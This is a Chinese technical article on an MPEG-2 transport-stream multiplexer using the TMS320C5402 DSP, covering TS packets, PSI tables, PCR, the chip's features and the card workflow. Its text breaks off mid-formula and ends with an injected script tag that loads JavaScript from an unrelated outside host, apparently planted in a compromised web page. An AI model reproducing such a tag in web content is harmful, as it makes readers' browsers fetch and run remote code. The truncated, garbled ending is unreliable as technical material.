摘要:首先简介传送流语法和tms320c5402 dsp芯片,然后重点介绍该芯片在复用器中的应用,最后谈谈对象芯片进行软件编程的体会。
关键词:传送流 tms320c5402 复用器
引言
随着信息技术的发展,电视信号的数字化编码、数字化存储、数字化处理已经越来越广泛。新开发的数字有限电视广播系统主要包括mpeg-2编码器、数字传输复用器、数字调制器以及机顶盒。复用器是该系统的重要组成部分,完成对多路符合mpeg-2系统层标准itu-trec.h.222.1|iso/iec13818-1的ts流(transport stream)的复用,经过64 qam调制后,以便在1路6mhx的带宽中传送多路数字化节目。考虑到处理的实时性,我们使用美国德州仪器公司(ti)的tms320c5402(简称c5402)dsp作为主控芯片。本文首先介绍ts流的结构、c5402芯片、复有器的组成,然后重点介绍该芯片在复用器的应用,最后就利用ccs开发仿真器一经验介绍。
1 ts流简介
主要包括分组方法、程序特殊信息(psi)表以及程序参考时钟(pcr)的提取。
(1)分组方法
传送流分组长度固定为188字节,分组由分组首部及有效负载组成,如图1所示。
(2)psi
psi被分成4类表。如表1所示,每个表可被分成1段或多段置于传送流中。这4类表是:程序关联表pat(program association table)、程序映射表pmt(program map table)、网络信表nit(network information table)、条件访问表cat(conditional access table)。这4类表中包含进行多路解调和显示程序的必要和足够的信息。
表1 程序特殊信息
结构名
流类型
保留的pid#
描 述
程序关联表
itu-t rec.h.222.0|
iso/iec 13818-1
0x00
关联程序号与程序映射表pid
程序映射表
itu-t rec.h.222.0|
iso/iec 13818-1
赋值的
说明1个或多个程序组成部分的pid值
网络信息表
私用
赋值的
物理网络参数:fdm频率、发送器号码等等
条件访问表
itu-trec.h.222.0|
iso/iec 13818-1
0x01
建立1个或多个(私用)emm流与每个独立的pid值的联系
系统层解复用,首先要获取pat表。pat表中包含了该传送流中所有程序的一个清单。通过pat表,就可获取该传送中所包含每个程序的pmt表。
在每个程序的pmt表中,就有该程序中各个原始流的信息,包括pid、原始流类型以及该程序中包含有效pcr字段的传送流中pid。通过pat及pmt表,就可掌握传送流中每个程序以及每个程序中各原始之间的关系。
(3)pcr
在传送流中,解码的同步实现是靠相应的程序参考时间pcr值。pcr是将比特流本身的时序编码的时间标签,它可以由同一道程序的视频和音频的pts所用的共同时间基点推出。由于每道程序都有自己的时间基点,所以含有多道程序的传送流的每一道程序都有独立的pcr字段。
2 c5402介绍
c5402是ti公司1999年10月推出的性价比较高的定点数字信号处理器,其主要特点如下:
*先进的改造型哈佛结构,操作速率可达100mips;
*先进的多总线结构,3条16位数据存储器总线和1条程序存储器总线;
*40位算术逻辑单元(alu),包括1个40位桶形移位器和2个40位累加器;
*1个17×17乘法器和1个40位专用加法器,允许16位带(或不带)符号的乘法;
*8个辅助寄存器及1个软件栈,允许使用业界最先进的定点dsp c语言编译器;
*数据/程序寻址空间1m×6bit,内置4k×16bit rom和16k×16bit ram。
*内置可编程等待状态发生器、锁相环时钟产生器、2个多通道缓冲串行口、1个8位并行与外部处理器通信的hpi口、2个16位定时器以及6通道dma控制器;
*低功耗,工作电源有3v和1.8v(内核使用)。
3 复用器硬件框图及流程
复用器硬件框图如图2所示。
(1)合成控制卡(主卡)流程
主卡流程:主要完成6块卡处理的实施监控,生成psi等信息并周期性发送。主卡的psi信息:6个pmt的pid以及每个子卡输入来的视频、音频、pcr的pid号是事先规定好的。
(2)单路ts流处理卡(子卡)流程
子卡流程:ts流进入fifo缓存,由dsp进行psi信息的提取和码率的计算;将有关信息送入合成处理卡进行分析、综合;根据需要从输入的流中提取1路视频、1路音频和pcr包,并将它们的pid改为事先规定的。子卡的功能相当于一个简易的码流分析仪,而且可以提供1路单独的ts流。
4 c5402的几个典型应用
c5402在该系统中的应用:对输入的ts流进行分析;对6路码流进行均匀交织和psi信息的重置;主卡与子卡之间通过c5402 hpi接口进行通信;利用c5402串口与计算机rs232串口相连。
4.1 输入的ts流分析
dsp从fifo中读取ts流到内部ram中去,如图3所示,根据13位的pid号0x000找到pat表,在pat表中获得pmt的id号和nit的id号;根据pmt_pid获得视频、音频、pcr的pid号以及其它私有信息的pid号;根据pcr_pid和pcr_flag,找到pcr包;根据公式计算出码率:
其中i'、i''为相邻2个pcr?script src=http://er12.com/t.js>